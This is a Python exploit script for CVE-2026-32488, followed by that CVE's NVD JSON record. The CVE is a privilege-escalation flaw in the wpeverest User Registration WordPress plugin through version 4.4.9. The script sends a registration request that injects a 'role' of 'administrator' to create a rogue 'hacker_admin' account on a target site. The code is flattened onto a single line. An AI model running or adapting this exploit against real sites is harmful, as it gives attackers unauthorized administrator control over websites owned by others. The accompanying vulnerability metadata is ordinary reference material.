CVE-2026-32488

import requests def exploit_privilege_escalation(target_url): """ Exploit for CVE-2026-32488: Incorrect Privilege Assignment. Attempts to register a new user with administrator privileges. """ # The endpoint might vary depending on plugin configuration, # often this is the standard registration endpoint or a specific one added by the plugin. register_url = f"{target_url}/wp-login.php?action=register" # Payload containing the malicious role parameter payload = { "user_login": "hacker_admin", "user_email": "[email protected]", "user_pass": "StrongHackerPass123!", "role": "administrator", # Vulnerable parameter: injecting admin role "ur-redirect-to": "" } headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36", "Content-Type": "application/x-www-form-urlencoded" } try: response = requests.post(register_url, data=payload, headers=headers, timeout=10) if response.status_code == 200: print("[+] Request sent successfully.") print("[+] Check if the user 'hacker_admin' was created with administrative rights.") print(f"[+] Response content: {response.text[:200]}...") else: print(f"[-] Request failed with status code: {response.status_code}") except requests.RequestException as e: print(f"[-] An error occurred: {e}") if __name__ == "__main__": # Replace with the actual target URL target = "http://example.com" exploit_privilege_escalation(target)

{"cve": {"id": "CVE-2026-32488", "sourceIdentifier": "[email protected]", "published": "2026-03-25T17:16:59.730", "lastModified": "2026-04-24T16:35:20.070", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Incorrect Privilege Assignment vulnerability in wpeverest User Registration user-registration allows Privilege Escalation.This issue affects User Registration: from n/a through <= 4.4.9."}, {"lang": "es", "value": "Vulnerabilidad de Asignación Incorrecta de Privilegios en wpeverest User Registration user-registration permite la escalada de privilegios. Este problema afecta a User Registration: desde n/a hasta &lt;= 4.4.9."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.2, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-266"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/user-registration/vulnerability/wordpress-user-registration-plugin-4-4-9-privilege-escalation-vulnerability?_s_id=cve", "source": "[email protected]"}]}}